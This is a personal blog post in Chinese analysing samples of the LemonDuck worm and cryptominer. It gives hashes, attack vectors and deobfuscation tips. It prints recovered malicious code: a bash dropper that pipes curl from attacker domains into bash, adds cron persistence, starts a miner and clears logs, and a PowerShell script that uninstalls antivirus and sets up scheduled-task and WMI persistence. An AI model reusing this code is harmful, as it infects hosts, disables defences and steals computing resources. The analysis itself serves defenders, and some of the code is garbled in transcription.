Nicky_home⛄

Nicky模拟人生.Log

柠檬鸭LemonDuck蠕虫样本分析

攻击目标系统 Windows Linux
主要攻击手法 Lnk漏洞CVE-2017-8464(通过移动设备) SSH爆破
office漏洞CVE-2017-8570(通过钓鱼邮件) Redis未授权访问漏洞 |
SMBGhost漏洞CVE-2020-0796 Hadoop Yarn未授权访问漏洞 |
永恒之蓝漏洞MS17-010 |
mssql爆破 |
RDP爆破 |
$IPC爆破 |
SMB爆破 |

样本分析

if.bin

888dc1ca4b18a3d424498244acf81f7d

a.jsp(powershell)

c21caa84b327262f2cbcc12bbb510d15

kr.bin

e04acec7ab98362d87d1c53d84fc4b03

core.png

e49367b9e942cf2b891f60e53083c938

a.jsp(shell)

b204ead0dcc9ca1053a1f26628725850

gim.jsp

b6f0e01c9e2676333490a750e58d4464

解混淆

1、5 Minute Forensics: Decoding PowerShell Payloads Tevora

解码出基本形态

2、cyberchef 解混淆

3、根据可读的部分尽可能消除冗余字符

if.bin

1、下载器 下载恶意脚本 2、SMB漏洞利用

按照每一段主要功能做整理

#创建一个计划任务,该任务会定期从特定网站下载并执行内容,同时确保系统的PATH环境变量中包含PowerShell的路径,最后立即运行创建好的计划任务。
#下载eb.jsp和ebo.jsp
#绕过 Windows Defender 的实时监控,然后从指定的外部网站下载ipc.jsp和ipco.jsp并执行
#下载ms.jsp和mso.jsp
#下载7p.php、usb.jsp
#绕过 Windows Defender 的实时监控和进程扫描,然后从外部下载rdp.jsp、rdpo.jsp并执行
#从t.amynx.com 下载core.png、smgh.jsp、smgho.jsp,并将下载的内容作为 shell 脚本执行


#尝试使用 SMBv1(Server Message Block version 1)协议进行匿名登录。函数会构造一个用于匿名登录的 SMBv1 数据包,将其发送到指定的套接字(sock),然后获取并返回服务器的响应
#创建一个用于 SMB1(Server Message Block 1,一种网络文件共享协议)匿名登录的数据包。
function make_smb1_anonymous_login_packet
#利用给定的套接字sock执行SMB1匿名登录操作,通过套接字将数据包发送给服务器。
function smb1_anonymous_login(sock)
#主要用于处理协议请求的协商过程。在网络通信中,客户端和服务器可能支持多种协议版本或功能,此函数会对请求所涉及的协议相关参数、版本、功能等进行协商,从而确定双方都支持的最佳协议配置,以确保能够在兼容的协议基础上进行数据交换和交互。
function negotiate_proto_request()
#用于处理 SMB 协议的头部信息。它可能会对传入的 smbheader 进行解析、验证或修改等操作。
function smb_header(smbheader)
#该函数通过给定的套接字 sock 从服务器获取 SMB1 协议的响应。在客户端向服务器发送请求后,服务器会返回相应的响应数据包,此函数的作用就是接收并处理这些响应数据包,可能会对响应进行解析,提取其中的关键信息。
function smb1_get_response(sock)
#该函数可能是客户端进行协议协商的核心函数。它会使用给定的套接字 sock 与服务器进行通信,发起协议协商过程。
function client_negotiate(sock)
#这个函数用于在 SMB 协议中执行树连接(Tree Connect)操作。树连接是 SMB 协议中用于访问共享资源(如共享文件夹)的一种机制。函数会使用给定的套接字 sock 向服务器发送树连接请求,target 可能表示要连接的共享资源的目标地址或名称,userid 表示进行连接的用户标识。函数会处理连接过程中的通信和响应,以完成树连接操作。
function Tree_connect_andx(sock, target, userid)
#该函数的作用是创建一个用于树连接操作的请求数据包。它会根据传入的 target 和 userid 信息,按照 SMB 协议规范构建树连接请求数据包,为 Tree_connect_andx 函数提供所需的请求数据。
function Tree_connect_andx_request(target, userid)
#主要目的是使用 SMBv1(Server Message Block version 1)协议,以匿名方式连接到目标主机的 IPC(Inter-Process Communication,进程间通信)共享。整个过程包括建立 TCP 连接、进行 SMB 协议协商、匿名登录以及连接到目标主机的共享资源,最后返回相关的 SMB 头部信息和套接字。
function smb1_anonymous_connect_ipc(target) 
#主要作用是构造一个 SMBv1(Server Message Block version 1)的 NT 事务(NT Transaction)数据包。SMB 是一种在局域网内共享文件、打印机等资源的网络协议,而 NT 事务是 SMB 协议中的一种数据传输机制,常用于执行特定的操作,如文件操作、目录操作等。
function make_smb1_nt_Trans_packet(Tree_id,user_id)
#创建用于 SMB1 协议中 Trans2 操作的漏洞利用数据包。Trans2 是 SMB 协议中用于执行更复杂操作的一种事务类型,而 “exploit” 通常表示利用漏洞,所以这个函数可能是用于构造针对 SMBv1 协议漏洞的攻击数据包。
function make_smb1_Trans2_exploit_packet(Tree_id,user_id,data,timeout)
function make_smb1_Trans2_last_packet(Tree_id,user_id,data,timeout)
#通过给定的套接字 sock 发送大型的 SMB1 Trans2 数据。smbheader 是 SMB 协议的头部信息;data 是要发送的数据;firstDataFragmentSize 可能表示第一个数据片段的大小;sendLastChunk 可能是一个布尔值,用于指示是否发送最后一个数据块。
function send_big_Trans2(sock, smbheader, data, firstDataFragmentSize, sendLastChunk) 
#为 SMB 会话分配非分页内存资源。target 可能表示目标服务器或资源;size 是要分配的内存大小。
function createSessionAllocNonPaged(target, size)
#创建 SMB1 协议中用于释放会话空洞(可能是空闲会话资源)的数据包。flags2 可能是协议标志位,用于指定特定的操作选项;vcnum 可能是虚拟连接编号;native_os 可能表示客户端或服务器的操作系统信息。
function make_smb1_Free_hole_Session_packet(flags2,vcnum,native_os)
#在 SMB2 协议中进行某种准备或预处理操作。
function smb2_grooms(target, grooms, payload_hdr_pkt, groom_socks)
#创建 SMB2 协议的负载头部数据包。
function make_smb2_payload_headers_packet()
#漏洞利用或执行特定代码
function eb7(target,shellcode)
#创建一个虚假的服务器网络缓冲区
function createFakeSrvNetBuffer8(sc_size)
#创建一个特征列表
function createFeaList8(sc_size,ntfea)
#使用给定的套接字 sock 执行 SMB1 协议的登录操作,可能会调用 make_smb1_login8_packet8 等函数创建登录数据包并发送到服务器。
function  make_smb1_login8_packet8
#创建基于 NTLM(NT LAN Manager)认证协议的认证数据包,使用 user_id 来标识用户。NTLM 是一种用于 Windows 网络的认证协议,该函数可能用于 SMB1 协议中的用户认证环节。
function  make_ntlm_auth_packet8(user_id)
#使用给定的套接字 sock 执行 SMB1 协议的登录操作
function smb1_login8(sock)
#进行协议请求的协商,use_ntlm 可能是一个布尔值,用于指示是否使用 NTLM 认证协议进行协商。该函数可能用于确定客户端和服务器之间使用的协议版本和认证方式。
function negotiate_proto_request8(use_ntlm)
#处理 SMB 协议的头部信息,可能进行解析、验证或修改等操作,以确保头部信息符合协议规范。
function smb_header8(smbheader)
#通过给定的套接字 sock 从服务器获取 SMB1 协议的响应数据,并可能进行解析和处理。
function smb1_get_response8(sock)
#客户端使用给定的套接字 sock 与服务器进行协议协商,use_ntlm 同样指示是否使用 NTLM 认证。该函数可能会调用 negotiate_proto_request8 等函数完成协商过程。
function client_negotiate8(sock, use_ntlm)
#用于创建 SMB 协议中树连接(Tree Connect)操作的请求数据包
function Tree_connect_andx8(sock, target, userid)
#使用给定的套接字 sock 向服务器发送树连接请求,完成树连接操作。
function Tree_connect_andx8_request(target,userid)
#与上文相似功能的另一个版本
function make_smb1_nt_Trans_packet8(Tree_id,user_id)
function make_smb1_Trans2_exploit_packet8(Tree_id,user_id,data,timeout)
function send_big_Trans28(sock, smbheader, data, firstDataFragmentSize, sendLastChunk)
function createSessionAllocNonPaged8(target, size)
function  make_smb1_Free_hole_Session_packet8(flags2,vcnum,native_os)
function make_smb2_payload_headers_packet8(for_nx)
function eb8(target,sc)

拓展:

smb

SMB漏洞渗透实战:信息收集、利用与日志追踪-CSDN博客

内网渗透之SMB的利用 – FreeBuf网络安全行业门户

SMB RPC类漏洞攻防对抗系列:利用SMB_COM_WRITE_ANX分割PRC流量特征 – FreeBuf网络安全行业门户

a.jsp(shell)

检测并终止未经授权的挖矿进程

检测系统中是否存在阿里云或腾讯云的相关安全防护或监控服务进程,如果存在则执行对应的卸载操作。

通过已知的指标信息(Indicator of Compromise,简称 IOC)路径来移除挖矿程序。

通过与网络相关的IOC来终止并阻止挖矿程序

  • 安装自己的恶意脚本

从系统的 cron 任务列表中移除包含特定关键词的定时任务

清除系统中与用户操作历史、系统日志相关的记录

总结:对其他挖矿做排他 下载安装自己的

kr.bin

主循环会在一定时间内(60000 秒)重复调用 killer 函数,而 killer 函数则是整个脚本的核心,负责执行各种安全检查和处理操作。

#判断一个 IP 地址是否为公共 IP 地址。
function ispubip
#执行 OpenSSL 相关操作,用于与指定 IP 和端口建立连接并发送数据。如果所需的 OpenSSL 相关文件不存在,则尝试从 down_url 下载并解压。
function openssl_exec(ip,port,send_str)
#分别用于判断指定 IP 和端口是否支持 HTTP、HTTPS 协议,以及是否为挖矿代理。通过发送特定请求并检查响应来进行判断。
function ishttp(ip,port)
function ishttps(ip,port)
function isminerproxys(ip,port)
function isminerproxy(ip,port)
#暂停指定进程。需要用户具有调试权限,会检查进程是否已被调试器附加,如果没有则尝试暂停进程。
function processsuspend(id)
#获取受保护进程的 PID 列表。通过比较 PowerShell 相关可执行文件的 MD5 值,找出匹配的进程,并结合其他条件筛选出符合要求的进程 PID。
function getprotected()
function getrname()
function gmd5(d)
#向down_url/rellik.json 发送包含系统信息(如 MAC 地址、GUID、计算机名等)、IP 地址、是否为挖矿代理以及进程 ID 和名称等信息的请求。
function sendmsg(ip,ismproxy,pid)
#将指定 IP 地址添加到路由表中进行封禁。
function banip(ip)
#核心函数,负责执行一系列安全检查和处理操作。包括禁用和删除指定的服务、任务,终止指定名称的进程,检查网络连接,对不符合要求的连接进行处理(如暂停进程、封禁 IP 等)。
function killer

core.png

#/bin/bash
#禁用 SELinux
setenforce 0 2>dev/null 
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null 
#清理系统缓存
sync && echo 3 >/proc/sys/vm/drop_caches 

murl1="http://t.amynx.com/ln/a.asp"
murl2="http://t.jdjdcjq.top/ln/a.asp"
cdate=(date "+%Y%m%d")
#通过组合计算机的 CPU ID 和网卡 MAC 地址,经过 SHA-256 哈希计算生成一个唯一的标识符 guid
guid=`echo(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') (ifconfig | grep -oP 'HWaddr \K.*'|sed 's/://g')|sha256sum|awk '{print1}'`

cmd1="(curl -fsSL murl1?{src}_{cdate}*`whoami`*`hostname`*{guid}||wget -q -O- murl1?{src}_{cdate}*`whoami`*`hostname`*{guid})|bash"
cmd2="(curl -fsSL murl2?{src}_{cdate}*`whoami`*`hostname`*{guid}||wget -q -O- murl1?{src}_{cdate}*`whoami`*`hostname`*{guid})|bash"
#清空定时任务和日志文件
echo "">/var/spool/cron/root
echo "">/var/spool/cron/crontabs/root
#创建目录并设置定时任务
if [ ! -d "/.Xll" ];then
    mkdir /.Xll
    echo "[RANDOM%60] * * * * root cmd1" >> /etc/crontab
    echo "[RANDOM%60] * * * * rootcmd2" >> /etc/crontab
    uname -a|grep x86_64 && echo "[RANDOM%60] * * * * root ps aux|grep lplp.ackng.com |grep -v grep || /.Xll/xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529" >> /etc/crontab
    (curl -fsSL murl1?{src}_{cdate}*`whoami`*`hostname`*{guid}||wget -q -O- murl1?{src}_{cdate}*`whoami`*`hostname`*{guid})|bash
    (curl -fsSL murl2?{src}_{cdate}*`whoami`*`hostname`*{guid}||wget -q -O- murl2?{src}_{cdate}*`whoami`*`hostname`*{guid})|bash
fi
#清除系统日志
echo > /var/spool/mail/root 
echo > /var/log/wtmp 
echo > /var/log/secure 

a.jsp(powershell)

主要功能包括收集系统信息、从指定 URL 下载文件并执行、绕过安全防护机制、修改系统配置以及尝试与恶意服务器进行通信等,很可能是用于挖矿、窃取信息或进行其他恶意活动的脚本。

# 获取计算机的基本信息
# 收集了计算机名、GUID、MAC 地址、操作系统信息、用户名、域名、系统运行时间、显卡信息、内存信息、可用驱动器信息以及当前时间戳等。这些信息可能会被发送到恶意服务器用于识别和跟踪受感染的系统。

#挖矿程序相关检查与下载
#定义了多个挖矿程序的文件名和对应的 MD5 值,用于验证下载文件的完整性。
通过 gmd5 函数计算本地文件的 MD5 值,并与预期值进行比较。
gcf 函数负责检查本地文件的 MD5 值,如果不一致则从远程服务器下载新文件。
根据不同的条件(如系统是否为 64 位、显卡类型等),调用 stp 函数执行相应的下载和执行操作,很可能是为了启动挖矿程序。

#绕过安全防护机制

gim.jsp

用下面的方法,快速解码 PowerShell 有效负载

Decoding PowerShell Payloads

5 Minute Forensics: Decoding PowerShell Payloads Tevora

实际操作方法:

把执行的命令删掉 改成读取 就可以直接获得内容

从有效负载中删除执行命令(powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C、“” 和 iex)

原本:
powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C "iex(New-Object IO.StreamReader((New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('redacted-base64-encoded-string'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"
修改后:
sal a New-Object;(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('redacted-base64-encoded-string'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()

通常获取的内容还需要进行去混淆

用CyberChef去混淆很好用

整理出来的代码如下

//尝试卸载安全软件
cmd / c start / b wmic.exe product where name like % Eset % call uninstall / nointeractive

cmd / c start / b wmic.exe product where name like %% Kaspersky %% call uninstall / nointeractive

cmd / c start / b wmic.exe product where name like % avast % call uninstall / nointeractive

cmd / c start / b wmic.exe product where name like % avp % call uninstall / nointeractive

cmd / c start / b wmic.exe product where name like % Security % call uninstall / nointeractive

cmd / c start / b wmic.exe product where name like % AntiVirus % call uninstall / nointeractive

cmd / c start / b wmic.exe product where name like % Norton Security % call uninstall / nointeractive

cmd / c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent/suppressmsgboxes/norestart

v =  ? v + (Get - Date - Format _yyyyMMdd)

    tmps = function a(u) {
    d = (Nepw - Objpect Net.WebCplient).DownloadData(u);
    c = d.count;
    if (c - gt 173) {
        b = d[173..c];
        p = New - Object Security.Cryptography.RSAParameters;
        p.Modulus = [convert]::FromBase64String(2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10= );
        p.Exponent = 0x01,0x00,0x01;
        r = New - Object Security.Cryptography.RSACryptoServiceProvider;
        r.ImportParameters(p);
        if (r.verifyData(b, (New - Object Security.Cryptography.SHA1CryptoServiceProvider), [convert]::FromBase64String(-join([char[]]d[0..171])))) {
            Ipex(-join[char[]]b)
        }
    }
}
//下载a.jsp
url = http : //+U1+U2;a(url+/a.jsp+v+?+(@(env:COMPUTERNAME,env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join*))

//判断是不是Administrator管理员权限
    sa = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")

function getRan() {
    return -join([char[]](48..57 + 65..90 + 97..122)TjQGet - Random - Count(6 + (Get - Random) % 6))
}

us =  @ ('t.zz3r0.com', 't.zer9g.com', 't.amynx.com')

    stsrv = New - Object - ComObject Schedule.Service

    stsrv.Connect()

    try {
        doit = stsrv.GetFolder().GetTask(blackball)
    } catch {}

if (-not doit) {
//计划任务每隔120分钟会系统创建并执行blackball
    if (sa) {
        schtasks /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball
    } else {
        schtasks /create /sc MINUTE /mo 120 /tn blackball /F /tr blackball
    }

    foreach(u in us) {
        i = [array]::IndexOf(us, u)
        if (i % 3 - eq 0) {tnf =}
        if (i % 3 - eq 1) {tnf = getRan}
        if (i % 3 - eq 2) {
            if (sa) {
                tnf = MicroSoftWindows + (getRan)
            } else {
                tnf = getRan
            }
        }

        tn = getRan

            if (sa) {
                //计划任务每隔60分钟执行命令powershell -w hidden -c PS_CMD
                schtasks /create /ru system /sc MINUTE /mo 60 /tn tnftn /F /tr powershell -w hidden -c PS_CMD

            } else {

                schtasks /create /sc MINUTE /mo 60 /tn tnftn /F /tr powershell -w hidden -c PS_CMD
            }
            start - sleep 1
            folder = stsrv.GetFolder(tnf)
            taskitem = folder.GetTasks(1)
            foreach(task in taskitem) {
            foreach(action in task.Definition.Actions) {
                try {
                    if (action.Arguments.Contains(PS_CMD)) {
                        folder.RegisterTask(task.Name,task.Xml.replace(PS_CMD, tmps.replace(U1, u.substring(0, 5)).replace(U2, u.substring(5))), 4, null, null, 0, null)TjQout - null
                    }
                } catch {}
            }
        }
        start - sleep 1
        schtasks /run /tn tnftn
        start - sleep 5
    }
}

try {

    doit1 = Get -WMI Object -Class __EventFilter -NameSpace rootsubscription -filter Name = blackball

} catch {}

if (-not doit1) {

    Set - WmiInstance - Class __EventFilter - NameSpace rootsubscription - Arguments @ {
        Name = blackball;
        EventNameSpace = rootcimv2;
        QueryLanguage = WQL;
        Query = SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA Win32_PerfFormattedData_Perfos_System;
    }
    -ErrorAction Stop

    foreach(u in us) {

        theName = getRan
//a.jsp重命名为aa.jsp
            wmicmd = tmps.replace(U1, u.substring(0, 5)).replace(U2, u.substring(5)).replace(a.jsp, aa.jsp)

            Set - WmiInstance - Class __FilterToConsumerBinding - Namespace rootsubscription -Arguments @ {
            Filter = (Set - WmiInstance - Class __EventFilter - NameSpace rootsubscription -Arguments @ {
                Name = f + theName;
                EventNameSpace = rootcimv2;
                QueryLanguage = WQL;
                Query = SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System;
            }
                -ErrorAction Stop);
            Consumer = (Set -WmiInstance -Class CommandLineEventConsumer - Namespace rootsubscription -Arguments @ {
                Name = c + theName;
                ExecutablePath = "c:\windows\system32\cmd.exe";
                CommandLineTemplate = /c powershell -w hidden -c wmicmd})}
                    start-sleep 5
                        }
    //防火墙添加转发、阻断规则
    cmd.exe /cnetsh.exe firewall add portopening tcp 65529 SDNSd
    netsh.exe interface portproxy add to listenport = 65529 connectaddress = 1.1.1.1 connectport = 53
    netsh advfirewall firewall add rule name = deny445 dir = in protocol = tcp localport = 445 action = block
    netsh advfirewall firewall add rule name = deny135 dir = in protocol = tcp localport = 135 action = block

    Set -ItemProperty -Path "HKLM:SYSTEM\CurrentControl\SetServices\LanmanServerParameters" DisableCompression - Type DWORD -Value 1 ??  ? Force
            }
                //删除计划任务
                schtasks / delete  / tn Rtsa2 / F
                schtasks / delete  / tn Rtsa1 / F
                schtasks / delete  / tn Rtsa / F
                )

            -c replaCe([CHaR]102 + [CHaR]118 + [CHaR]112),[CHaR]96 - RepLaCE,[CHaR]92 - cREplaCe,[CHaR]36 -replacet jq,[CHaR]124 -c replace([CHaR]117 + [CHaR]79 + [CHaR]115),[CHaR]39 - RepLaCE([CHaR]99 + [CHaR]70 + [CHaR]119),[CHaR]34))

            ')
            -replace  ' ',[CHaR]39  -replace  ' hCN ',[CHaR]36)| &( pShOMe[21]+PSHOme[34]+' x ')" = lh2) ' 'NIoJ - ] ) hTGNEL.)nOEUlAv -   lH2 ElBaIRaV - TEG  ((  - ..1  - [)nOEUlAv -   lH2 ElBaIRaV - TEG  (( )' 'nIoJ - ]52, 51, 4[cEPsMOC:VNE (&;
            "(('.(hcnverboseprefrence.Tostring()[1, 3] + x - JoIn)(((

参考:

典型挖矿家族系列分析四丨LemonDuck挖矿僵尸网络 – FreeBuf网络安全行业门户

柠檬鸭(Lemon Duck)样本分析 – 吾爱破解 – 52pojie.cn

永恒之蓝木马下载器再更新,云上主机成为新目标 – FreeBuf网络安全行业门户

蠕虫病毒“柠檬鸭”持续扩散 多种暴破方式攻击用户电脑 – 吾爱破解 – 52pojie.cn

挖矿病毒分析之powershell解密小技巧 – 吾爱破解 – 52pojie.cn

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注